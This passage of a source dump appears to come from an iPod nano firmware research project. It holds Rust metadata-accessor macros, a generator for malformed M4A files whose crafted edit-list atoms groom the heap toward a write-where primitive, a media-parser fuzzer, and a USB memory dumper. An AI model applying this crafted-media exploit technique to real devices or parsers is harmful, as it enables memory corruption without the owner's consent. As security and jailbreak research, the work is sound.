Data::Utf8({vi}.into())); 146 | }} 147 | 148 | /// Removes all {np} (`{ais}`). 149 | pub fn remove_{vip}(&mut self) {{ 150 | self.remove_data_of(&{ai}); 151 | }} 152 | 153 | /// Returns all {np} formatted in an easily readable way. 154 | fn format_{vip}(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result {{ 155 | if self.{vip}().count() > 1 {{ 156 | writeln!(f, \"{np}:\")?; 157 | for s in self.{vip}() {{ 158 | writeln!(f, \" {{}}\", s)?; 159 | }} 160 | }} else if let Some(s) = self.{vi}() {{ 161 | writeln!(f, \"{n}: {{}}\", s)?; 162 | }} 163 | Ok(()) 164 | }} 165 | }} 166 | ", 167 | hl = headline, 168 | n = name, 169 | np = name_plural, 170 | ais = atom_ident_string, 171 | vi = value_ident, 172 | vip = value_ident_plural, 173 | ai = atom_ident, 174 | ) 175 | .parse() 176 | .expect("Error parsing accessor impl block:") 177 | } 178 | 179 | #[proc_macro] 180 | pub fn flag_value_accessor(input: TokenStream) -> TokenStream { 181 | let (value_ident, name, headline, atom_ident, atom_ident_string) = base_values(input); 182 | 183 | format!( 184 | " 185 | /// ### {hl} 186 | impl Tag {{ 187 | /// Returns the {n} flag (`{ais}`). 188 | pub fn {vi}(&self) -> bool {{ 189 | let vec = match self.bytes_of(&{ai}).next() {{ 190 | Some(v) => v, 191 | None => return false, 192 | }}; 193 | vec.get(0).map(|&v| v == 1).unwrap_or(false) 194 | }} 195 | 196 | /// Sets the {n} flag to true (`{ais}`). 197 | pub fn set_{vi}(&mut self) {{ 198 | self.set_data({ai}, Data::BeSigned(vec![1u8])); 199 | }} 200 | 201 | /// Removes the {n} flag (`{ais}`). 202 | pub fn remove_{vi}(&mut self) {{ 203 | self.remove_data_of(&{ai}) 204 | }} 205 | }} 206 | ", 207 | hl = headline, 208 | n = name, 209 | ais = atom_ident_string, 210 | vi = value_ident, 211 | ai = atom_ident, 212 | ) 213 | .parse() 214 | .expect("Error parsing accessor impl block:") 215 | } 216 | 217 | #[proc_macro] 218 | pub fn u16_value_accessor(input: TokenStream) -> TokenStream { 219 | let (value_ident, name, headline, atom_ident, atom_ident_string) = base_values(input); 220 | 221 | format!( 222 | " 223 | /// ### {hl} 224 | impl Tag {{ 225 | /// Returns the {n} (`{ais}`) 226 | pub fn {vi}(&self) -> Option {{ 227 | let vec = self.bytes_of(&{ai}).next()?; 228 | be_int!(vec, 0, u16) 229 | }} 230 | 231 | /// Sets the {n} (`{ais}`) 232 | pub fn set_{vi}(&mut self, {vi}: u16) {{ 233 | let vec: Vec = {vi}.to_be_bytes().to_vec(); 234 | self.set_data({ai}, Data::BeSigned(vec)); 235 | }} 236 | 237 | /// Removes the {n} (`{ais}`). 238 | pub fn remove_{vi}(&mut self) {{ 239 | self.remove_data_of(&{ai}); 240 | }} 241 | }} 242 | ", 243 | hl = headline, 244 | n = name, 245 | ais = atom_ident_string, 246 | vi = value_ident, 247 | ai = atom_ident, 248 | ) 249 | .parse() 250 | .expect("Error parsing accessor impl block:") 251 | } 252 | 253 | #[proc_macro] 254 | pub fn u32_value_accessor(input: TokenStream) -> TokenStream { 255 | let (value_ident, name, headline, atom_ident, atom_ident_string) = base_values(input); 256 | 257 | format!( 258 | " 259 | /// ### {hl} 260 | impl Tag {{ 261 | /// Returns the {n} (`{ais}`) 262 | pub fn {vi}(&self) -> Option {{ 263 | let vec = self.bytes_of(&{ai}).next()?; 264 | be_int!(vec, 0, u32) 265 | }} 266 | 267 | /// Sets the {n} (`{ais}`) 268 | pub fn set_{vi}(&mut self, {vi}: u32) {{ 269 | let vec: Vec = {vi}.to_be_bytes().to_vec(); 270 | self.set_data({ai}, Data::BeSigned(vec)); 271 | }} 272 | 273 | /// Removes the {n} (`{ais}`). 274 | pub fn remove_{vi}(&mut self) {{ 275 | self.remove_data_of(&{ai}); 276 | }} 277 | }} 278 | ", 279 | hl = headline, 280 | n = name, 281 | ais = atom_ident_string, 282 | vi = value_ident, 283 | ai = atom_ident, 284 | ) 285 | .parse() 286 | .expect("Error parsing accessor impl block:") 287 | } 288 | -------------------------------------------------------------------------------- /tools/research/m4a_payload/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /tools/research/m4a_payload/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "m4a_payload" 7 | version = "0.1.0" 8 | -------------------------------------------------------------------------------- /tools/research/m4a_payload/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "m4a_payload" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | -------------------------------------------------------------------------------- /tools/research/m4a_payload/src/main.rs: -------------------------------------------------------------------------------- 1 | 2 | fn take(i: &[u8]) -> (&[u8], [u8; COUNT]) { 3 | (&i[COUNT..], i[..COUNT].try_into().unwrap()) 4 | } 5 | 6 | fn taken(i: &[u8], size: usize) -> (&[u8], &[u8]) { 7 | (&i[size..], &i[..size]) 8 | } 9 | 10 | fn be_u32(i: &[u8]) -> (&[u8], u32) { 11 | let (i, x) = take::<4>(i); 12 | (i, u32::from_be_bytes(x)) 13 | } 14 | 15 | fn be_i32(i: &[u8]) -> (&[u8], i32) { 16 | let (i, x) = take::<4>(i); 17 | (i, i32::from_be_bytes(x)) 18 | } 19 | 20 | #[derive(Clone, Copy, PartialEq, Eq)] 21 | pub struct Kind([u8; 4]); 22 | 23 | impl core::fmt::Debug for Kind { 24 | fn fmt(&self, f: &mut core::fmt::Formatter<'_>) -> core::fmt::Result { 25 | write!(f, "Kind(\"")?; 26 | for i in 0..4 { 27 | write!(f, "{}", char::from_u32(self.0[i] as u32).unwrap())?; 28 | } 29 | write!(f, "\")") 30 | } 31 | } 32 | 33 | #[derive(Debug, Copy, Clone)] 34 | struct AtomHead { 35 | length: i32, 36 | ident: Kind, 37 | extended_length: Option, 38 | } 39 | impl AtomHead { 40 | fn read(i: &[u8]) -> (&[u8], Self) { 41 | let (i, length) = be_i32(i); 42 | let (i, ident) = take::<4>(i); 43 | assert_ne!(length, 1); 44 | 45 | (i, Self { 46 | length, 47 | ident: Kind(ident), 48 | extended_length: None, 49 | }) 50 | } 51 | 52 | fn write(&self, out: &mut Vec) { 53 | assert_eq!(self.extended_length, None); 54 | 55 | out.extend_from_slice(&self.length.to_be_bytes()); 56 | out.extend_from_slice(&self.ident.0); 57 | } 58 | 59 | fn content_len(&self) -> Option { 60 | if self.length == 0 { 61 | return None; 62 | } 63 | assert_eq!(self.extended_length, None); 64 | Some(self.length - 8) 65 | } 66 | } 67 | 68 | pub enum Atom { 69 | Child(Kind, Vec), 70 | Data(Kind, Vec), 71 | } 72 | 73 | impl Atom { 74 | fn write(&self, out: &mut Vec) { 75 | match self { 76 | Atom::Child(kind, child) => { 77 | let mut body = Vec::new(); 78 | for c in child { 79 | c.write(&mut body); 80 | } 81 | 82 | AtomHead { 83 | ident: *kind, 84 | extended_length: None, 85 | length: body.len() as i32 + 8, 86 | }.write(out); 87 | out.extend_from_slice(&body); 88 | } 89 | 90 | Atom::Data(kind, body) => { 91 | AtomHead { 92 | ident: *kind, 93 | extended_length: None, 94 | length: body.len() as i32 + 8, 95 | }.write(out); 96 | out.extend_from_slice(&body); 97 | } 98 | } 99 | } 100 | } 101 | 102 | fn parse_body(mut i: &[u8]) -> Vec<(AtomHead, Vec)> { 103 | if i.is_empty() { 104 | return Vec::new(); 105 | } 106 | 107 | let mut out = Vec::new(); 108 | loop { 109 | let (j, atom) = AtomHead::read(i); 110 | 111 | let (j, body) = taken(j, atom.content_len().unwrap_or(j.len() as i32).min(j.len() as i32) as usize); 112 | 113 | out.push((atom, body.to_vec())); 114 | 115 | if j.is_empty() { 116 | break; 117 | } 118 | 119 | i = j; 120 | } 121 | out 122 | } 123 | 124 | fn main() { 125 | //let file = std::fs::read("./tmp.m4a").unwrap(); 126 | let file = std::fs::read("./out.m4a").unwrap(); 127 | 128 | let mut in_atom = Vec::new(); 129 | fn print_file(d: &[u8], i: u8, in_atom: &mut Vec<(AtomHead, Vec)>) { 130 | let pad = (0..i).map(|_| "- ").collect::(); 131 | let out = parse_body(&d); 132 | for (atom, body) in out { 133 | println!("{}Atom: {:?}", pad, atom); 134 | 135 | let nest = [ 136 | Kind(*b"moov"), 137 | Kind(*b"trak"), 138 | Kind(*b"mdia"), 139 | Kind(*b"minf"), 140 | Kind(*b"stbl"), 141 | Kind(*b"edts"), 142 | ]; 143 | 144 | in_atom.push((atom.clone(), body.clone())); 145 | 146 | if nest.contains(&atom.ident) { 147 | print_file( &body, i+1, in_atom); 148 | } 149 | } 150 | } 151 | 152 | print_file(&file, 0, &mut in_atom); 153 | 154 | let mvhd = in_atom.iter().find(|f| f.0.ident == Kind(*b"mvhd")).unwrap(); 155 | let tkhd = in_atom.iter().find(|f| f.0.ident == Kind(*b"tkhd")).unwrap(); 156 | let mdhd = in_atom.iter().find(|f| f.0.ident == Kind(*b"mdhd")).unwrap(); 157 | let hdlr = in_atom.iter().find(|f| f.0.ident == Kind(*b"hdlr")).unwrap(); 158 | let dinf = in_atom.iter().find(|f| f.0.ident == Kind(*b"dinf")).unwrap(); 159 | 160 | let dinf = in_atom.iter().find(|f| f.0.ident == Kind(*b"dinf")).unwrap(); 161 | let stsd = in_atom.iter().find(|f| f.0.ident == Kind(*b"stsd")).unwrap(); 162 | let stts = in_atom.iter().find(|f| f.0.ident == Kind(*b"stts")).unwrap(); 163 | let stsc = in_atom.iter().find(|f| f.0.ident == Kind(*b"stsc")).unwrap(); 164 | let stsz = in_atom.iter().find(|f| f.0.ident == Kind(*b"stsz")).unwrap(); 165 | let stco = in_atom.iter().find(|f| f.0.ident == Kind(*b"stco")).unwrap(); 166 | 167 | let single_item_elst_data = { 168 | let mut d = Vec::new(); 169 | 170 | // Version 171 | d.extend_from_slice(0x01010101u32.to_be_bytes().as_slice()); 172 | // Count 173 | let count: u32 = 1; 174 | d.extend_from_slice(count.to_be_bytes().as_slice()); 175 | 176 | for _ in 0..count { 177 | d.extend_from_slice(0xDEAD0000BEEFu64.to_be_bytes().as_slice()); 178 | d.extend_from_slice(0u64.to_be_bytes().as_slice()); 179 | d.extend_from_slice(0xF00DBABEu32.to_be_bytes().as_slice()); 180 | } 181 | 182 | d 183 | }; 184 | 185 | let elst_data = { 186 | let mut d = Vec::new(); 187 | 188 | // Version 189 | d.extend_from_slice(0x01010101u32.to_be_bytes().as_slice()); 190 | // Count 191 | // let heap_size: u32 = 1024*1024 + 1024*512; 192 | // let alloc_count = heap_size / 0x24; 193 | //let count: u32 = 30000;// 43690; 194 | let count: u32 = 1;// 43690; 195 | d.extend_from_slice(count.to_be_bytes().as_slice()); 196 | 197 | for _ in 0..count { 198 | d.extend_from_slice(0xDEAD0000BEEFu64.to_be_bytes().as_slice()); 199 | d.extend_from_slice(0u64.to_be_bytes().as_slice()); 200 | d.extend_from_slice(0xF00DBABEu32.to_be_bytes().as_slice()); 201 | } 202 | 203 | // padding 204 | d.extend_from_slice(1u64.to_be_bytes().as_slice()); 205 | 206 | d 207 | }; 208 | 209 | //tODO: 210 | // Old idea: 211 | // Then use big elst file to clear out heap into a clean state with few chunks (groom-to-reset) 212 | // playlist with groom-clear track + exploit track 213 | // New idea: 214 | // Clearing out the heap will get rid of freelist, this is bad 215 | // Instead we will create a *lot* of valid chunks for our groom, this should almost guarentee that we land next to a heap chunk 216 | // plan: 217 | // reset heap state 218 | // run exploit to do a write-where 219 | // hopefully there are some pointers that end up in fixed places (due to reset might be likely?) 220 | let mut edts_body = Vec::new(); 221 | for _ in 0..1000 { 222 | edts_body.push(Atom::Data(Kind(*b"elst"), single_item_elst_data.clone())); 223 | } 224 | let root = Atom::Child(Kind(*b"moov"), vec![ 225 | Atom::Data(Kind(*b"mvhd"), mvhd.1.to_vec()), 226 | Atom::Child(Kind(*b"trak"), vec![ 227 | Atom::Data(Kind(*b"tkhd"), tkhd.1.to_vec()), 228 | // Mandatory 229 | Atom::Child(Kind(*b"mdia"), vec![ 230 | // Mandatory 231 | Atom::Data(Kind(*b"mdhd"), mdhd.1.to_vec()), 232 | // Mandatory 233 | Atom::Data(Kind(*b"hdlr"), hdlr.1.to_vec()), 234 | // Mandatory 235 | Atom::Child(Kind(*b"minf"), vec![ 236 | // Mandatory 237 | Atom::Data(Kind(*b"dinf"), dinf.1.to_vec()), 238 | // Mandatory 239 | Atom::Child(Kind(*b"stbl"), vec![ 240 | Atom::Data(Kind(*b"stsd"), stsd.1.to_vec()), 241 | Atom::Data(Kind(*b"stts"), stts.1.to_vec()), 242 | Atom::Data(Kind(*b"stsc"), stsc.1.to_vec()), 243 | Atom::Data(Kind(*b"stsz"), stsz.1.to_vec()), 244 | Atom::Data(Kind(*b"stco"), stco.1.to_vec()), 245 | ]), 246 | 247 | ]), 248 | ]), 249 | Atom::Child(Kind(*b"edts"), edts_body), 250 | ]), 251 | ]); 252 | let mut out = Vec::new(); 253 | root.write(&mut out); 254 | let mut ig = Vec::new(); 255 | print_file(&out, 0, &mut ig); 256 | std::fs::write("./groom.m4a", &out).unwrap(); 257 | } 258 | -------------------------------------------------------------------------------- /tools/research/mp4_fuzzer/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /tools/research/mp4_fuzzer/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "mp4_fuzzer" 7 | version = "0.1.0" 8 | -------------------------------------------------------------------------------- /tools/research/mp4_fuzzer/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "mp4_fuzzer" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | -------------------------------------------------------------------------------- /tools/research/mp4_fuzzer/out/IMG_0437.DAT: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CUB3D/ipod_sun/7746f7eef77c0ff39ca956e11fa58fa88ec1f4f6/tools/research/mp4_fuzzer/out/IMG_0437.DAT -------------------------------------------------------------------------------- /tools/research/mp4_fuzzer/out/IMG_0437.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CUB3D/ipod_sun/7746f7eef77c0ff39ca956e11fa58fa88ec1f4f6/tools/research/mp4_fuzzer/out/IMG_0437.mp4 -------------------------------------------------------------------------------- /tools/research/mp4_fuzzer/src/main.rs: -------------------------------------------------------------------------------- 1 | //! A fuzzer for partially manual fuzzing of the iPod nano 5G video parser 2 | //! Generates a set of random inputs, which are manually copied to the iPod 3 | 4 | use std::error::Error; 5 | 6 | //TODO: Can we fuzz the dat file format, so we don't need to mess about with loading the image files?? 7 | //TODO: Can we start with a smaller (1-frame) base image to make mutations more impactful 8 | //TODO: can we save what mutations we have already done so we don't waste time (hash db?) 9 | 10 | /// The base .MP4 file we use for mutation 11 | /// This is essentially a single file corpus 12 | const BASE_MP4: &[u8] = include_bytes!("../../original/IMG_0000.mp4"); 13 | 14 | /// The base .DAT file we use to make our mp4s show up in the video player 15 | /// We don't know the format of this 16 | const BASE_DAT: &[u8] = include_bytes!("../../original/IMG_0000.DAT"); 17 | 18 | /// Represents a fuzz input 19 | struct FileData { 20 | /// Contents of the dat file 21 | dat_data: Vec, 22 | 23 | /// Contents of the mp4 file 24 | mp4_data: Vec, 25 | 26 | /// Name for the files, without the extension 27 | file_name: String, 28 | } 29 | 30 | impl FileData { 31 | /// Mutate the mp4 data 32 | pub fn mutate_mp4(&mut self, rng: &mut rng::XorShift) { 33 | // Mutate the mp4 file 34 | for _ in 0..rng.gen_range(0..100) { 35 | let idx = rng.gen_range(0..self.mp4_data.len()); 36 | let val = rng.gen_range(0..0xff) as u8; 37 | self.mp4_data[idx] = val; 38 | } 39 | } 40 | 41 | /// Mutate the DAT data 42 | pub fn mutate_dat(&mut self, rng: &mut rng::XorShift) { 43 | // Mutate the dat file 44 | for _ in 0..1000/*rng.gen_range(19..1000)*/ { 45 | 46 | let idx = rng.gen_range(0..self.dat_data.len()); 47 | let val = rng.gen_range(0..0xff) as u8; 48 | self.dat_data[idx] = val; 49 | } 50 | } 51 | 52 | /// Update the file name in the DAT file to point to the linked MP4 file 53 | pub fn write_file_index(&mut self, file_index: usize) { 54 | self.dat_data[0x20..0x24].copy_from_slice(&format!("{:04}", file_index).as_bytes()); 55 | } 56 | 57 | /// Save this data to disk 58 | pub fn save(&self) -> Result<(), Box> { 59 | std::fs::write(format!("./out/{}.mp4", self.file_name), &self.mp4_data)?; 60 | std::fs::write(format!("./out/{}.DAT", self.file_name), &self.dat_data)?; 61 | Ok(()) 62 | } 63 | } 64 | 65 | /// Create new fuzz input 66 | fn create_mutated_files(file_index: usize, rng: &mut rng::XorShift) -> FileData { 67 | // Create the data 68 | let mut data = FileData { 69 | dat_data: BASE_DAT.to_vec(), 70 | mp4_data: BASE_MP4.to_vec(), 71 | file_name: format!("IMG_{:04}", file_index), 72 | }; 73 | //data.mutate_mp4(rng); 74 | data.mutate_dat(rng); 75 | 76 | // Update the file name in the DAT 77 | data.write_file_index(file_index); 78 | 79 | data 80 | } 81 | 82 | fn main() -> Result<(), Box> { 83 | let mut rng = rng::XorShift::new(0x22222222); 84 | 85 | for i in 0..400 { 86 | let file = create_mutated_files(i, &mut rng); 87 | file.save()?; 88 | } 89 | Ok(()) 90 | } 91 | 92 | pub mod rng { 93 | use core::ops::{BitXor, Range}; 94 | 95 | /// An implementation of XorShift 96 | pub struct XorShift { 97 | /// The seed for the rng 98 | seed: usize, 99 | } 100 | 101 | impl XorShift { 102 | /// Create a new instance of XorShift, with the given seed 103 | pub fn new(seed: usize) -> Self { 104 | Self { seed } 105 | } 106 | 107 | /// Generate a number in the given range 108 | pub fn gen_range(&mut self, rng: Range) -> usize { 109 | (self.gen().wrapping_add(rng.start).max(rng.start)) % rng.end 110 | } 111 | 112 | /// Generate the next number in the sequence, advancing the seed 113 | pub fn gen(&mut self) -> usize { 114 | let x = self.seed; 115 | let x = x.bitxor(x << 13); 116 | let x = x.bitxor(x >> 7); 117 | let x = x.bitxor(x << 17); 118 | assert_ne!(self.seed, x); 119 | self.seed = x; 120 | x 121 | } 122 | } 123 | } 124 | -------------------------------------------------------------------------------- /tools/research/n6g_dumper/.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | -------------------------------------------------------------------------------- /tools/research/n6g_dumper/Cargo.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Cargo. 2 | # It is not intended for manual editing. 3 | version = 3 4 | 5 | [[package]] 6 | name = "bit-set" 7 | version = "0.2.0" 8 | source = "registry+https://github.com/rust-lang/crates.io-index" 9 | checksum = "e6e1e6fb1c9e3d6fcdec57216a74eaa03e41f52a22f13a16438251d8e88b89da" 10 | dependencies = [ 11 | "bit-vec", 12 | ] 13 | 14 | [[package]] 15 | name = "bit-vec" 16 | version = "0.6.3" 17 | source = "registry+https://github.com/rust-lang/crates.io-index" 18 | checksum = "349f9b6a179ed607305526ca489b34ad0a41aed5f7980fa90eb03160b69598fb" 19 | 20 | [[package]] 21 | name = "cfg-if" 22 | version = "1.0.0" 23 | source = "registry+https://github.com/rust-lang/crates.io-index" 24 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" 25 | 26 | [[package]] 27 | name = "lazy_static" 28 | version = "1.4.0" 29 | source = "registry+https://github.com/rust-lang/crates.io-index" 30 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 31 | 32 | [[package]] 33 | name = "libc" 34 | version = "0.2.151" 35 | source = "registry+https://github.com/rust-lang/crates.io-index" 36 | checksum = "302d7ab3130588088d277783b1e2d2e10c9e9e4a16dd9050e6ec93fb3e7048f4" 37 | 38 | [[package]] 39 | name = "libusb" 40 | version = "0.3.0" 41 | source = "registry+https://github.com/rust-lang/crates.io-index" 42 | checksum = "5f990ddd929cbe53de4ecd6cf26e1f4e0c5b9796e4c629d9046570b03738aa53" 43 | dependencies = [ 44 | "bit-set", 45 | "libc", 46 | "libusb-sys", 47 | ] 48 | 49 | [[package]] 50 | name = "libusb-sys" 51 | version = "0.2.3" 52 | source = "registry+https://github.com/rust-lang/crates.io-index" 53 | checksum = "4c53b6582563d64ad3e692f54ef95239c3ea8069e82c9eb70ca948869a7ad767" 54 | dependencies = [ 55 | "libc", 56 | "pkg-config", 57 | ] 58 | 59 | [[package]] 60 | name = "log" 61 | version = "0.4.20" 62 | source = "registry+https://github.com/rust-lang/crates.io-index" 63 | checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" 64 | 65 | [[package]] 66 | name = "nu-ansi-term" 67 | version = "0.46.0" 68 | source = "registry+https://github.com/rust-lang/crates.io-index" 69 | checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" 70 | dependencies = [ 71 | "overload", 72 | "winapi", 73 | ] 74 | 75 | [[package]] 76 | name = "once_cell" 77 | version = "1.19.0" 78 | source = "registry+https://github.com/rust-lang/crates.io-index" 79 | checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" 80 | 81 | [[package]] 82 | name = "overload" 83 | version = "0.1.1" 84 | source = "registry+https://github.com/rust-lang/crates.io-index" 85 | checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" 86 | 87 | [[package]] 88 | name = "pin-project-lite" 89 | version = "0.2.13" 90 | source = "registry+https://github.com/rust-lang/crates.io-index" 91 | checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" 92 | 93 | [[package]] 94 | name = "pkg-config" 95 | version = "0.3.27" 96 | source = "registry+https://github.com/rust-lang/crates.io-index" 97 | checksum = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964" 98 | 99 | [[package]] 100 | name = "proc-macro2" 101 | version = "1.0.70" 102 | source = "registry+https://github.com/rust-lang/crates.io-index" 103 | checksum = "39278fbbf5fb4f646ce651690877f89d1c5811a3d4acb27700c1cb3cdb78fd3b" 104 | dependencies = [ 105 | "unicode-ident", 106 | ] 107 | 108 | [[package]] 109 | name = "quote" 110 | version = "1.0.33" 111 | source = "registry+https://github.com/rust-lang/crates.io-index" 112 | checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" 113 | dependencies = [ 114 | "proc-macro2", 115 | ] 116 | 117 | [[package]] 118 | name = "sharded-slab" 119 | version = "0.1.7" 120 | source = "registry+https://github.com/rust-lang/crates.io-index" 121 | checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" 122 | dependencies = [ 123 | "lazy_static", 124 | ] 125 | 126 | [[package]] 127 | name = "smallvec" 128 | version = "1.11.2" 129 | source = "registry+https://github.com/rust-lang/crates.io-index" 130 | checksum = "4dccd0940a2dcdf68d092b8cbab7dc0ad8fa938bf95787e1b916b0e3d0e8e970" 131 | 132 | [[package]] 133 | name = "syn" 134 | version = "2.0.41" 135 | source = "registry+https://github.com/rust-lang/crates.io-index" 136 | checksum = "44c8b28c477cc3bf0e7966561e3460130e1255f7a1cf71931075f1c5e7a7e269" 137 | dependencies = [ 138 | "proc-macro2", 139 | "quote", 140 | "unicode-ident", 141 | ] 142 | 143 | [[package]] 144 | name = "thread_local" 145 | version = "1.1.7" 146 | source = "registry+https://github.com/rust-lang/crates.io-index" 147 | checksum = "3fdd6f064ccff2d6567adcb3873ca630700f00b5ad3f060c25b5dcfd9a4ce152" 148 | dependencies = [ 149 | "cfg-if", 150 | "once_cell", 151 | ] 152 | 153 | [[package]] 154 | name = "tracing" 155 | version = "0.1.40" 156 | source = "registry+https://github.com/rust-lang/crates.io-index" 157 | checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" 158 | dependencies = [ 159 | "pin-project-lite", 160 | "tracing-attributes", 161 | "tracing-core", 162 | ] 163 | 164 | [[package]] 165 | name = "tracing-attributes" 166 | version = "0.1.27" 167 | source = "registry+https://github.com/rust-lang/crates.io-index" 168 | checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" 169 | dependencies = [ 170 | "proc-macro2", 171 | "quote", 172 | "syn", 173 | ] 174 | 175 | [[package]] 176 | name = "tracing-core" 177 | version = "0.1.32" 178 | source = "registry+https://github.com/rust-lang/crates.io-index" 179 | checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" 180 | dependencies = [ 181 | "once_cell", 182 | "valuable", 183 | ] 184 | 185 | [[package]] 186 | name = "tracing-log" 187 | version = "0.2.0" 188 | source = "registry+https://github.com/rust-lang/crates.io-index" 189 | checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" 190 | dependencies = [ 191 | "log", 192 | "once_cell", 193 | "tracing-core", 194 | ] 195 | 196 | [[package]] 197 | name = "tracing-subscriber" 198 | version = "0.3.18" 199 | source = "registry+https://github.com/rust-lang/crates.io-index" 200 | checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b" 201 | dependencies = [ 202 | "nu-ansi-term", 203 | "sharded-slab", 204 | "smallvec", 205 | "thread_local", 206 | "tracing-core", 207 | "tracing-log", 208 | ] 209 | 210 | [[package]] 211 | name = "unicode-ident" 212 | version = "1.0.12" 213 | source = "registry+https://github.com/rust-lang/crates.io-index" 214 | checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" 215 | 216 | [[package]] 217 | name = "usb_ctrl_fuz" 218 | version = "0.1.0" 219 | dependencies = [ 220 | "libc", 221 | "libusb", 222 | "log", 223 | "tracing", 224 | "tracing-subscriber", 225 | ] 226 | 227 | [[package]] 228 | name = "valuable" 229 | version = "0.1.0" 230 | source = "registry+https://github.com/rust-lang/crates.io-index" 231 | checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" 232 | 233 | [[package]] 234 | name = "winapi" 235 | version = "0.3.9" 236 | source = "registry+https://github.com/rust-lang/crates.io-index" 237 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 238 | dependencies = [ 239 | "winapi-i686-pc-windows-gnu", 240 | "winapi-x86_64-pc-windows-gnu", 241 | ] 242 | 243 | [[package]] 244 | name = "winapi-i686-pc-windows-gnu" 245 | version = "0.4.0" 246 | source = "registry+https://github.com/rust-lang/crates.io-index" 247 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 248 | 249 | [[package]] 250 | name = "winapi-x86_64-pc-windows-gnu" 251 | version = "0.4.0" 252 | source = "registry+https://github.com/rust-lang/crates.io-index" 253 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 254 | -------------------------------------------------------------------------------- /tools/research/n6g_dumper/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "n6g_dumper" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | libusb = "0.3" 10 | libc = "0.2.151" 11 | tracing = "0.1.40" 12 | tracing-subscriber = "0.3.18" 13 | log = "0.4.20" 14 | -------------------------------------------------------------------------------- /tools/research/n6g_dumper/src/main.rs: -------------------------------------------------------------------------------- 1 | use std::time::Duration; 2 | use std::error::Error; 3 | use std::fs::OpenOptions; 4 | use std::io::Write; 5 | use std::thread::sleep; 6 | use libusb::{Direction, Recipient, request_type, RequestType}; 7 | use log::info; 8 | use tracing::Level; 9 | 10 | fn main() -> Result<(), Box> { 11 | tracing_subscriber::FmtSubscriber::builder() 12 | // all spans/events with a level higher than TRACE (e.g, debug, info, warn, etc.) 13 | // will be written to stdout. 14 | .with_max_level(Level::TRACE) 15 | // builds the subscriber. 16 | .init(); 17 | 18 | let context = libusb::Context::new().unwrap(); 19 | let mut idx: u32 = 0; 20 | const BASE_ADDR: u32 = 0x0800_0000; 21 | const BASE_OFFSET: u32 = 0x6ee0; 22 | 23 | 24 | loop { 25 | for device in context.devices().unwrap().iter() { 26 | let device_desc = device.device_descriptor().unwrap(); 27 | 28 | if device_desc.vendor_id() == 0x05ac && [0x1266].contains(&device_desc.product_id()) { 29 | 30 | let man = device_desc.manufacturer_string_index().unwrap(); 31 | let d = device.open().unwrap(); 32 | let l = d.read_languages(Duration::from_secs(1)).unwrap(); 33 | 34 | let mut buf = [0u8; 256]; 35 | 36 | let _len = d.read_control(request_type(Direction::In, RequestType::Standard, Recipient::Device), 37 | 0x06, 38 | (0x3_u16) << 8 | man as u16, 39 | l.first().unwrap().lang_id(), 40 | &mut buf, 41 | Duration::from_millis(500)).unwrap(); 42 | 43 | 44 | let buf = buf.chunks(2).skip(1).map(|f| f[0]).collect::>(); 45 | //println!("dat = {buf:x?}"); 46 | 47 | // let mut f = OpenOptions::new().create(true).append(true).write(true).open("./buf-append.bin").unwrap(); 48 | // f.write(&buf[1..2]).unwrap(); 49 | // drop(f); 50 | 51 | let mut out_buf = std::fs::read("./out.bin").unwrap(); 52 | 53 | let b0 = buf[1]; 54 | 55 | out_buf[idx as usize + BASE_OFFSET as usize] = b0; 56 | info!("*(0x{:08X}) = {:02x}, idx = {idx}", BASE_ADDR + 